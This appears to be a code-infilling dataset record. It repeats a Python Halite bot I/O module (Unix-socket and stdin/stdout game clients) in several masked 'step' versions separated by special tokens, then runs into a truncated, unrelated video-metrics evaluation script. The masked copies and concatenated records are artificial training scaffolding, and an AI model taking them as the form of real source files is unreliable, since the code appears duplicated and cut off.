initial version of the map before game starts """ def _send_string(self, s): """ Send data to the game. Call :function:`done_sending` once finished. :param str s: String to send :return: nothing """ sys.stdout.write(s) def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ sys.stdout.write('\n') sys.stdout.flush() def _get_string(self): """ Read input from the game. :return: The input read from the Halite engine :rtype: str """ result = sys.stdin.readline().rstrip('\n') return result def send_command_queue(self, command_queue): """ Issue the given list of commands. :param list[str] command_queue: List of commands to send the Halite engine :return: nothing """ for command in command_queue: self._send_string(command) self._done_sending() @staticmethod def _set_up_logging(tag, name): """ Set up and truncate the log :param tag: The user tag (used for naming the log) :param name: The bot name (used for naming the log) :return: nothing """ log_file = '{}_{}.log'.format(tag, name) logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w') logging.info('Initialized bot {}'.format(name)) def __init__(self, name): """ Initialize the bot with the given name. :param name: The name of the bot. """ self._name = name self._send_name = False tag = int(self._get_string()) GameStdIO._set_up_logging(tag, name) width, height = [int(x) for x in self._get_string().strip().split()] self.map = game_map.Map(tag, width, height) self.update_map() self.initial_map = copy.deepcopy(self.map) self._send_name = True self.done = False def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info('---NEW TURN---') recv = self._get_string() if recv == '': self.close() self.done = True return self.map self.map._parse(recv) return self.map def close(self): pass <|reserved_special_token_1|> import sys import logging import copy import socket from . import game_map class GameUnix: """ :ivar map: Current map representation :ivar initial_map: The initial version of the map before game starts """ def _send_string(self, s): """ Send data to the game. Call :function:`done_sending` once finished. :param str s: String to send :return: nothing """ self.sfile.write(s) def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ self.sfile.write('\n') self.sfile.flush() def _get_string(self): """ Read input from the game. :return: The input read from the Halite engine :rtype: str """ result = self.sfile.readline().rstrip('\n') return result def send_command_queue(self, command_queue): """ Issue the given list of commands. :param list[str] command_queue: List of commands to send the Halite engine :return: nothing """ for command in command_queue: self._send_string(command) self._done_sending() @staticmethod def _set_up_logging(tag, name): """ Set up and truncate the log :param tag: The user tag (used for naming the log) :param name: The bot name (used for naming the log) :return: nothing """ log_file = '{}_{}.log'.format(tag, name) logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w') logging.info('Initialized bot {}'.format(name)) def __init__(self, name, socket_path='/dev/shm/bot.sock'): """ Initialize the bot with the given name. :param name: The name of the bot. """ self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) connected = False while not connected: try: self.s.connect(socket_path) connected = True except Exception: pass self.sfile = self.s.makefile('rw') self._name = name self._send_name = False tag = int(self._get_string()) GameUnix._set_up_logging(tag, name) width, height = [int(x) for x in self._get_string().strip().split()] self.map = game_map.Map(tag, width, height) self.update_map() self.initial_map = copy.deepcopy(self.map) self._send_name = True self.done = False def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info('---NEW TURN---') recv = self._get_string() if recv == '': self.close() self.done = True return self.map self.map._parse(recv) return self.map def close(self): self.sfile.close() self.s.close() class GameStdIO: """ :ivar map: Current map representation :ivar initial_map: The initial version of the map before game starts """ def _send_string(self, s): """ Send data to the game. Call :function:`done_sending` once finished. :param str s: String to send :return: nothing """ sys.stdout.write(s) def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ sys.stdout.write('\n') sys.stdout.flush() def _get_string(self): """ Read input from the game. :return: The input read from the Halite engine :rtype: str """ result = sys.stdin.readline().rstrip('\n') return result def send_command_queue(self, command_queue): """ Issue the given list of commands. :param list[str] command_queue: List of commands to send the Halite engine :return: nothing """ for command in command_queue: self._send_string(command) self._done_sending() @staticmethod def _set_up_logging(tag, name): """ Set up and truncate the log :param tag: The user tag (used for naming the log) :param name: The bot name (used for naming the log) :return: nothing """ log_file = '{}_{}.log'.format(tag, name) logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w') logging.info('Initialized bot {}'.format(name)) def __init__(self, name): """ Initialize the bot with the given name. :param name: The name of the bot. """ self._name = name self._send_name = False tag = int(self._get_string()) GameStdIO._set_up_logging(tag, name) width, height = [int(x) for x in self._get_string().strip().split()] self.map = game_map.Map(tag, width, height) self.update_map() self.initial_map = copy.deepcopy(self.map) self._send_name = True self.done = False def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info('---NEW TURN---') recv = self._get_string() if recv == '': self.close() self.done = True return self.map self.map._parse(recv) return self.map def close(self): pass <|reserved_special_token_1|> import sys import logging import copy import socket from . import game_map class GameUnix: """ :ivar map: Current map representation :ivar initial_map: The initial version of the map before game starts """ def _send_string(self, s): """ Send data to the game. Call :function:`done_sending` once finished. :param str s: String to send :return: nothing """ self.sfile.write(s) def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ self.sfile.write('\n') self.sfile.flush() def _get_string(self): """ Read input from the game. :return: The input read from the Halite engine :rtype: str """ result = self.sfile.readline().rstrip('\n') return result def send_command_queue(self, command_queue): """ Issue the given list of commands. :param list[str] command_queue: List of commands to send the Halite engine :return: nothing """ for command in command_queue: self._send_string(command) self._done_sending() @staticmethod def _set_up_logging(tag, name): """ Set up and truncate the log :param tag: The user tag (used for naming the log) :param name: The bot name (used for naming the log) :return: nothing """ log_file = "{}_{}.log".format(tag, name) logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w') logging.info("Initialized bot {}".format(name)) def __init__(self, name, socket_path="/dev/shm/bot.sock"): """ Initialize the bot with the given name. :param name: The name of the bot. """ self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) connected = False while not connected: try: self.s.connect(socket_path) connected = True except Exception: pass # Do nothing, just try again self.sfile = self.s.makefile('rw') self._name = name self._send_name = False tag = int(self._get_string()) GameUnix._set_up_logging(tag, name) width, height = [int(x) for x in self._get_string().strip().split()] self.map = game_map.Map(tag, width, height) self.update_map() self.initial_map = copy.deepcopy(self.map) self._send_name = True self.done = False def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info("---NEW TURN---") recv = self._get_string() if recv == "": self.close() self.done = True return self.map # last step map self.map._parse(recv) return self.map def close(self): self.sfile.close() self.s.close() class GameStdIO: """ :ivar map: Current map representation :ivar initial_map: The initial version of the map before game starts """ def _send_string(self, s): """ Send data to the game. Call :function:`done_sending` once finished. :param str s: String to send :return: nothing """ sys.stdout.write(s) def _done_sending(self): """ Finish sending commands to the game. :return: nothing """ sys.stdout.write('\n') sys.stdout.flush() def _get_string(self): """ Read input from the game. :return: The input read from the Halite engine :rtype: str """ result = sys.stdin.readline().rstrip('\n') return result def send_command_queue(self, command_queue): """ Issue the given list of commands. :param list[str] command_queue: List of commands to send the Halite engine :return: nothing """ for command in command_queue: self._send_string(command) self._done_sending() @staticmethod def _set_up_logging(tag, name): """ Set up and truncate the log :param tag: The user tag (used for naming the log) :param name: The bot name (used for naming the log) :return: nothing """ log_file = "{}_{}.log".format(tag, name) logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w') logging.info("Initialized bot {}".format(name)) def __init__(self, name): """ Initialize the bot with the given name. :param name: The name of the bot. """ self._name = name self._send_name = False tag = int(self._get_string()) GameStdIO._set_up_logging(tag, name) width, height = [int(x) for x in self._get_string().strip().split()] self.map = game_map.Map(tag, width, height) self.update_map() self.initial_map = copy.deepcopy(self.map) self._send_name = True self.done = False def update_map(self): """ Parse the map given by the engine. :return: new parsed map :rtype: game_map.Map """ if self._send_name: self._send_string(self._name) self._done_sending() self._send_name = False logging.info("---NEW TURN---") recv = self._get_string() if recv == "": self.close() self.done = True return self.map # last step map self.map._parse(recv) return self.map def close(self): pass
flexible
{ "blob_id": "09d31df9c76975377b44470e1f2ba4a5c4b7bbde", "index": 912, "step-1": "<mask token>\n\n\nclass GameStdIO:\n <mask token>\n <mask token>\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n pass\n", "step-2": "<mask token>\n\n\nclass GameUnix:\n <mask token>\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n self.sfile.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n self.sfile.write('\\n')\n self.sfile.flush()\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n <mask token>\n\n\nclass GameStdIO:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n sys.stdout.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n pass\n", "step-3": "<mask token>\n\n\nclass GameUnix:\n <mask token>\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n self.sfile.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n self.sfile.write('\\n')\n self.sfile.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = self.sfile.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name, socket_path='/dev/shm/bot.sock'):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n connected = False\n while not connected:\n try:\n self.s.connect(socket_path)\n connected = True\n except Exception:\n pass\n self.sfile = self.s.makefile('rw')\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameUnix._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n <mask token>\n\n\nclass GameStdIO:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n sys.stdout.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n pass\n", "step-4": "import sys\nimport logging\nimport copy\nimport socket\nfrom . import game_map\n\n\nclass GameUnix:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n self.sfile.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n self.sfile.write('\\n')\n self.sfile.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = self.sfile.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name, socket_path='/dev/shm/bot.sock'):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n connected = False\n while not connected:\n try:\n self.s.connect(socket_path)\n connected = True\n except Exception:\n pass\n self.sfile = self.s.makefile('rw')\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameUnix._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n self.sfile.close()\n self.s.close()\n\n\nclass GameStdIO:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n sys.stdout.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = '{}_{}.log'.format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG,\n filemode='w')\n logging.info('Initialized bot {}'.format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info('---NEW TURN---')\n recv = self._get_string()\n if recv == '':\n self.close()\n self.done = True\n return self.map\n self.map._parse(recv)\n return self.map\n\n def close(self):\n pass\n", "step-5": "import sys\nimport logging\nimport copy\nimport socket\n\nfrom . import game_map\n\nclass GameUnix:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n self.sfile.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n self.sfile.write('\\n')\n self.sfile.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = self.sfile.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = \"{}_{}.log\".format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w')\n logging.info(\"Initialized bot {}\".format(name))\n\n def __init__(self, name, socket_path=\"/dev/shm/bot.sock\"):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n self.s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)\n connected = False\n while not connected:\n try:\n self.s.connect(socket_path)\n connected = True\n except Exception:\n pass # Do nothing, just try again\n self.sfile = self.s.makefile('rw')\n\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameUnix._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info(\"---NEW TURN---\")\n recv = self._get_string()\n\n if recv == \"\":\n self.close()\n self.done = True\n return self.map # last step map\n\n self.map._parse(recv)\n return self.map\n \n def close(self):\n self.sfile.close()\n self.s.close()\n\nclass GameStdIO:\n \"\"\"\n :ivar map: Current map representation\n :ivar initial_map: The initial version of the map before game starts\n \"\"\"\n\n def _send_string(self, s):\n \"\"\"\n Send data to the game. Call :function:`done_sending` once finished.\n\n :param str s: String to send\n :return: nothing\n \"\"\"\n sys.stdout.write(s)\n\n def _done_sending(self):\n \"\"\"\n Finish sending commands to the game.\n\n :return: nothing\n \"\"\"\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\n def _get_string(self):\n \"\"\"\n Read input from the game.\n\n :return: The input read from the Halite engine\n :rtype: str\n \"\"\"\n result = sys.stdin.readline().rstrip('\\n')\n return result\n\n def send_command_queue(self, command_queue):\n \"\"\"\n Issue the given list of commands.\n\n :param list[str] command_queue: List of commands to send the Halite engine\n :return: nothing\n \"\"\"\n for command in command_queue:\n self._send_string(command)\n\n self._done_sending()\n\n @staticmethod\n def _set_up_logging(tag, name):\n \"\"\"\n Set up and truncate the log\n\n :param tag: The user tag (used for naming the log)\n :param name: The bot name (used for naming the log)\n :return: nothing\n \"\"\"\n log_file = \"{}_{}.log\".format(tag, name)\n logging.basicConfig(filename=log_file, level=logging.DEBUG, filemode='w')\n logging.info(\"Initialized bot {}\".format(name))\n\n def __init__(self, name):\n \"\"\"\n Initialize the bot with the given name.\n\n :param name: The name of the bot.\n \"\"\"\n\n self._name = name\n self._send_name = False\n tag = int(self._get_string())\n GameStdIO._set_up_logging(tag, name)\n width, height = [int(x) for x in self._get_string().strip().split()]\n self.map = game_map.Map(tag, width, height)\n self.update_map()\n self.initial_map = copy.deepcopy(self.map)\n self._send_name = True\n\n self.done = False\n\n def update_map(self):\n \"\"\"\n Parse the map given by the engine.\n\n :return: new parsed map\n :rtype: game_map.Map\n \"\"\"\n if self._send_name:\n self._send_string(self._name)\n self._done_sending()\n self._send_name = False\n logging.info(\"---NEW TURN---\")\n recv = self._get_string()\n\n if recv == \"\":\n self.close()\n self.done = True\n return self.map # last step map\n\n self.map._parse(recv)\n return self.map\n \n def close(self):\n pass", "step-ids": [ 8, 14, 18, 21, 22 ] }
[ 8, 14, 18, 21, 22 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def calc_optical_flow_metrics(flow_predictor, frames, movable_mask): if not movable_mask.any(): return dict(flow_l2=float('nan')) assert not (frames < 0).any() and not (frames > 1).any() flows = flow_predictor.predict_flow(frames * 2 - 1)[1] flows_x, flows_y = flows[:, [0]], flows[:, [1]] flow_x_median = float(flows_x[movable_mask.expand_as(flows_x)].abs().mean() ) flow_y_median = float(flows_y[movable_mask.expand_as(flows_y)].abs().mean() ) result = dict(flow_l2=(flow_x_median ** 2 + flow_y_median ** 2) ** 0.5) return result def batch2pil(batch): np_batch = ((batch.permute(0, 2, 3, 1) / 2 + 0.5) * 255).clamp(0, 255).cpu( ).numpy().astype('uint8') return [Image.fromarray(ar) for ar in np_batch] def main(args): segmentation_network = SegmentationModule(os.path.expandvars(args. segm_network)).cuda() segmentation_network.eval() lpips_criterion = LPIPSLossWrapper(args.lpips_network).cuda() flow_predictor = FlowPredictor(os.path.expandvars(args.flow_network)) all_metrics = [] all_metrics_idx = [] gen_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. gen_images), '*.jpg'))) gen_frames_as_img = [] for fname in gen_frame_paths: frame = Image.open(fname).convert('RGB') frame_batch = image2batch(frame).cuda() / 2 + 0.5 assert not (frame_batch < 0).any() and not (frame_batch > 1).any() frame_img = batch2pil(frame_batch)[0] gen_frames_as_img.append(frame_img) gt_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. gt_images), '*.jpg'))) gt_frames_as_img = [] for fname in gt_frame_paths: frame = Image.open(fname).convert('RGB') frame = frame.resize(get_scale_size(args.resolution, frame.size)) frame_batch = image2batch(frame).cuda() / 2 + 0.5 assert not (frame_batch < 0).any() and not (frame_batch > 1).any() scaled_size = get_scale_size(args.resolution, frame_batch.shape[2:]) frame_batch = F.interpolate(frame_batch, size=scaled_size, mode= 'bilinear', align_corners=False) crop_y1, crop_y2, crop_x1, crop_x2 = ( choose_center_full_size_crop_params(*frame_batch.shape[2:])) frame_batch = frame_batch[:, :, crop_y1:crop_y2, crop_x1:crop_x2] frame_img = batch2pil(frame_batch)[0] gt_frames_as_img.append(frame_img) print('Calculating FID for images...') block_idx = InceptionV3.BLOCK_INDEX_BY_DIM[2048] fid_model = InceptionV3([block_idx]).cuda() fid_gt_means, fid_gt_std = _compute_statistics_of_images(gt_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False ) fid_gen_means, fid_gen_std = _compute_statistics_of_images( gen_frames_as_img, fid_model, batch_size=args.batch, dims=2048, cuda=True, keep_size=False) fid = dict() fid['fid_images'] = float(calculate_frechet_distance(fid_gt_means, fid_gt_std, fid_gen_means, fid_gen_std)) for src_path in sorted(glob.glob(os.path.join(args.gen_videos, '*'))): if not os.path.isdir(src_path): continue print(f'Processing {src_path}') if src_path.endswith('/'): src_path = src_path[:-1] vname = os.path.basename(src_path) frames = load_video_frames_from_folder(src_path, frame_template= args.frametemplate) / 2 + 0.5 assert not (frames < 0).any() and not (frames > 1).any() cur_segm_scores = segmentation_network.predict(frames[:1].cuda(), imgSizes=[args.resolution]) cur_segm_proba = F.softmax(cur_segm_scores, dim=1) movable_scores = cur_segm_proba[:, MOVABLE_CLASSES].max(1, keepdim=True )[0] immovable_scores = cur_segm_proba[:, [c for c in range( cur_segm_proba.shape[1]) if c not in MOVABLE_CLASSES]].max(1, keepdim=True)[0] shift_mask = (movable_scores > immovable_scores).float() print('Flow metrics...') flow_metrics = calc_optical_flow_metrics(flow_predictor, frames, shift_mask > 0) print('LPIPS metrics...') cur_metrics = collections.defaultdict(float) lpips = [] for l in range(1, frames.shape[0], args.batch): r = min(l + args.batch, frames.shape[0]) lpips.append(float(lpips_criterion(frames[l:r].cuda() * (1 - shift_mask), frames[0].cuda() * (1 - shift_mask)))) cur_metrics['lpips_gen'] = np.mean(lpips) sum_dicts(cur_metrics, flow_metrics) all_metrics.append(cur_metrics) all_metrics_idx.append(vname) real_frame_paths = list(glob.glob(os.path.join(os.path.expandvars(args. real_images), '*.jpg'))) real_frames_as_img = [] real_frames_with_segm = {} for fname in real_frame_paths: frame = Image.open(fname).convert('RGB') frame = frame.resize(get_scale_size(args.resolution, frame.size)) frame_batch = image2batch(frame).cuda() frame_batch = (frame_batch - 